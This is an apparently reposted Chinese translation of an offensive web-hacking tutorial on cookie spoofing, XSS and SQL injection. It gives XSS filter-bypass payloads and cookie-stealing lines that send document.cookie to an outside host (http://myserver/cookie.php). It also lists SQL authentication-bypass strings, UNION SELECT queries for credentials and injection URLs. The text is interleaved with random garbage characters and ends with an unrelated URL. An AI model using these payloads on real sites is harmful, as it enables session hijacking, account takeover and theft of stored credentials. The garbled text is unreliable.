XSS & SQL注入

admin

XSS & SQL注入
  t. W/ A- E% s/ @3 A1 v9 i文章作者：CyberPhreak
译文作者：黯魂 [S.S.T]

& M; x) j4 o( t: L3 ^* w
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

- S# j3 y) I% k& q8 u: }, m
* N! K( A0 q2 @# ^5 |! c4 _! G& B~介绍
" }" K% Y! j$ S- K! D0 T
3 ]% I3 q. x4 a0 d$ R2 Z在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
$ [  p' W/ q. F/ t0 B& k) }
XXXXXXXXXXXXXXXXXXXXX
" c. |- I, ?# d4 k$ v5 F% DX Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX
1 d  G# i- o4 d7 h& t% p" {3 L( w) @
XXXXXXXXXXXXXXXXXXXX
  t8 X9 j8 v4 R+ h% NX Cookie Editing X
X XSS X
X SQL Injection X
$ S+ `. P" n2 p- e+ F: M( aXXXXXXXXXXXXXXXXXXXX

, N6 X, u6 b& N0 l$ C~什么是cookie
( [* B/ g+ W' ~2 `* X
cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
0 S9 x+ X% |- O# o/ b
~警告&欺骗

5 c5 l- W1 R% E! r$ E& Z9 n5 `那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
9 k) ?& G. @7 c& u8 t
$ C5 N1 O$ f* `( Y; xstrusername=cnsst;strpassword=cnsst
: u9 m5 t& W' u9 k' g
此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

7 h: W- d& L% m, v( o7 E~什么是XSS

+ o0 ~  M: i, CXSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

~为什么使用XSS

很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.
( R7 \, H' \" P% D, a2 P1 P0 a
1 D, A& t, h% V/ F& v- H# H~让我们开始吧…
5 r- v) a. L9 r* w2 J  j6 [
我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

XSS--跨站脚本&lt;html&gt;

7 |" }7 ], K  f/ [5 I&lt;body&gt;
' ~! ]9 V/ ~3 b! T2 i
&lt;form action="" method="GET"&gt;

0 f& t5 J5 ^2 p& N7 {: Y&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

6 Y* k" e! G7 _" S' v! \6 g& i) XScript: &lt;input name="name" type="name"&gt;

&lt;input type="submit" value="submit"&gt;
+ Y  ?5 U, c1 j
! b3 P4 Y6 U& i7 c) i&lt;/form&gt;
' C# q" Y- a9 w4 X: h) F
, }) v2 h; V# D2 |: M* A&lt;/body&gt;
- Q6 k. E  d- [4 x4 R
2 f" r+ q! B( P/ c0 Q/ f' t' t&lt;/html&gt;

! P" X. m9 n* J, I

&lt;?php

4 Y9 H& B- N% |7 r: U3 y5 _$name = $_GET['name'];

) V, e( D+ r+ j% U  X1 v) \! _$ eecho("Hello $name");
% m, v5 Q$ d9 H. l2 V
?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

) }; i3 {5 c# w, t6 L' a5 mcnsst
"Hello cnsst!"
3 v# x9 V  c) ~% n: Q/ B) c
3 D; @, o/ K5 J8 d: L" {引号内的信息就是输出信息..注意看,现在我输入:
<script>alert(document.cookie)</script>

* b8 }7 s6 `2 g* e) R4 |3 y' K那么它将会弹出document.cookie!所以它是易受XSS攻击的!
8 z1 u( J( ?! E) W& o
3 j0 t: N6 b$ l' G8 Y9 }8 d8 ]5 b# _现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

5 I( S- U, b' z& D服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
7 ?/ e: L  R1 w
1 P' k2 g+ f- Z已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.
. [* w: `; W  }; N' }# P* P" H0 p  \
让我们看一个稍微复杂点的例子!
/ ?9 t) m( c" _2 o
假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
或者可能是这样的:
scriptalertdocument.cookie/script
' ]! ~' Q& n) O. \/ f/ r4 n/ O
可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
  m3 {% E3 x& S3 q8 H  N* j
让我们继续利用:
+ X6 L1 J/ _  l( W<<script>>alert(document.cookie)<</script>>

你的输出将弹出document.cookie.
8 _. \! N, @9 Q1 Z# N1 U. j( f7 I
现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>

* E7 K, T5 E" ^4 |
1 Y" C, t8 i2 l7 ^* V2 i/ F5 @$ U) H他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
! i& X9 D& p: W) F# d或者 <<<script>>>alert(document.cookie)<<</script>>>  

7 a) T$ R1 ~  g2 N. [他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
: r0 f. K( Y$ T8 u<script>alert(document.cookie)</script>

- x% Y) s4 v' n, T  f输出像这样:srplert(document.cookie)srp

仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
) n* O& E' y# U4 H<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>

) X$ I2 ?7 f# D: O. ^, N6 |所有重复多余的部分刚好被替换!现在让我们来点更高级的!
& O3 i) X' h3 Y" C% p. F
这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
, Y) f9 _% `3 ~% E6 b<script>alert(document.cookie)</script>

- w, p4 E6 y' ]9 d# u0 x! O$ j8 O) A输出将是:
scriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
+ Q  B9 Z6 G$ f' s; T<<script>>alert(document.cookie)<</script>>
7 ~8 L- b# `1 U
6 x# e) P, v; ~% @# S7 o输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:

8 U1 B1 o. M# j. G) Q! B<
, o4 q' C' ^- _) t! I6 _3 |script
& i5 l/ S8 a/ m- q! ?>
alert
(
document
# w7 m' s  R" E$ D, G2 u.
cookie
)
/ i1 \' E' a; m6 L% f<
/
script
" ^% f  p; Q! s( @2 ^>
" e' O, ~6 S  X* s
% i3 }6 H3 \* Y" l- L
/ L/ r/ t2 q/ ?看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
<
s
& p# Y0 i1 u1 }8 uc
r
i
p
t
>
( w+ c' d" x8 L. `- Q- ca
: v( I! `7 j- o! _' gl
e
! Q! k0 H) ?! }5 `- [r
t
: q+ K) _: h) |% H& G. [8 z(
d
o
- c0 l! t2 }& Z& ^  j! `  @2 Rc
u
m
' g5 j" Z4 Z9 a1 o5 b: [2 Ze
n
% J2 G& x. ?7 Ft
.
c
- f$ ~0 w7 q! L) c* Yo
  Y7 D+ t! o; d: ?o
# @; K8 F& S" }+ ik
" m. R. a  H0 ki
e
)
<
/
' ^% X5 D! k0 G6 X& Zs
. w2 @) U) m' g. X6 h$ t0 dc
r
: P4 ?& P0 d% o' s: Ji
p
1 d* U, f* ?- kt
/
>
$ R- R# ?9 R) F; e
+ B# S! L$ @! y这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
, s! @7 z- E2 u& H# B* h
还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

; l0 j( ~8 b/ `1 t' H现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
/ C& d4 U* ]( i
  |( ]% R: k: J. n3 J首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.
+ ]* J- h8 v1 ^1 ~- M: l% p4 L. t
. }, o( ~6 F% c我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
' o* a' c+ P% e3 A4 }document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,并且可以自定义资料...
/ ~& N+ [/ q6 I0 d  @/ udocument.images(0).src="http://myserver/cookie.php"+document.cookie.
" l6 l, ]# J( B7 n或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
6 A9 m: \' k0 T" Njavascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
$ Z: ^; J6 e7 Z& l( x& j8 P/ X9 X
: W$ ?* K+ l7 y, ^/ M, K有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
telnet example.com
2 P- [1 O$ M# A6 v4 [# SGET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
  _+ `( F: A& E5 o! Z7 v) L* ]. qUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
~什么是SQL注入

SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
( m, o) ]5 k: l; ]( t
&lt;body&gt;

: v. C, W! d4 [* f&lt;form action="" method="POST"&gt;

& m  |- C, \# \: _3 ~, ~& c& VUsername: &lt;input name="name" type="name"&gt;
0 V9 D' `$ Y6 T$ L
Password: &lt;input name="password" type="password"&gt;
7 j; I) L: X9 ^0 x% Q
&lt;input type="submit" type="submit" value="Submit"&gt;
' s8 a5 J. Q) }9 p3 G
&lt;/form&gt;
- w8 n; `$ ]7 @! P
&lt;/body&gt;
- J) H7 P* l( Y/ R7 n
3 m. F( f3 r0 g* ~+ Q&lt;/html&gt;
) ~' j* m/ d) {/ V, ^3 O" z! q复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
3 y- A/ n" Q( E: i
最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

'='
'OR 1=1--
% y$ _  M6 p, l" v% X9 x'OR a=a--
' P5 l2 P% c" k9 {'OR'

0 U5 W8 u- @1 I* M4 I, {4 C自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

3 D4 H7 D1 ^0 Q1 L'OR''='
4 k4 J# D" C  Q' J'OR"="
* i7 O9 I& E9 |$ S5 L1 ]1 {9 ~'OR'="
5 n0 d3 _, g# z7 L9 \) ['OR '="
& P2 b9 f$ q. n" r1 U'OR "='
'OR ''='
'OR '=''
'OR "=''
) H: R( x& j9 S/ [) p'OR ''="
9 [8 r. Y% q, a- C

" F9 D& k5 Q8 L) N1 s6 \2 @5 u~
! Y6 m4 T! F7 A9 h1 _4 O/ Y+ |6 \现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
! A( l, Q0 p# R2 oUNION ALL SELECT username,password FROM users

7 V7 ]6 ]# A" M这个查询语句将执行,但是….如果毫无作用呢?
" V' ]! V4 f6 i* l* rUNION ALL SELECT username,password FROM users WHERE username='OR "='
1 z1 A6 L. u: m5 @1 QAND password='OR "='
2 [/ W2 S  G' x% |* a
# u3 Z( S6 J/ D. z" y你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
, k% O. n/ |; r. {( h. v
一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
+ F& v" }/ A$ `8 MUNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
* [2 Y; s+ n" p7 R) i4 ^2 k% qWHERE ip='OR''="
2 `1 O( j$ y; j9 F5 A3 T1 N& E% N) D
现在你看到这个了吗?(我确信你已经看到了)
6 N5 Y' N% t3 ~http://example.com/index.php?article=34
9 l5 Z8 z/ q7 Z. U) I那将浏览Id为34的文章...让我们用"'"替换34:
. H' p( |: b. y' F/ R8 x, Zhttp://example.com/index.php?article='

( I: z1 k4 o3 i5 i# O0 D
. A: k& W1 Y3 ~& ], v现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article='
http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
8 R5 E0 _0 X8 u$ s6 b" n7 Uhttp://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
http://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
http://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
http://example.com/index.php?article='OR"''='

2 {% @" g% L2 S# y# @- o: }尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704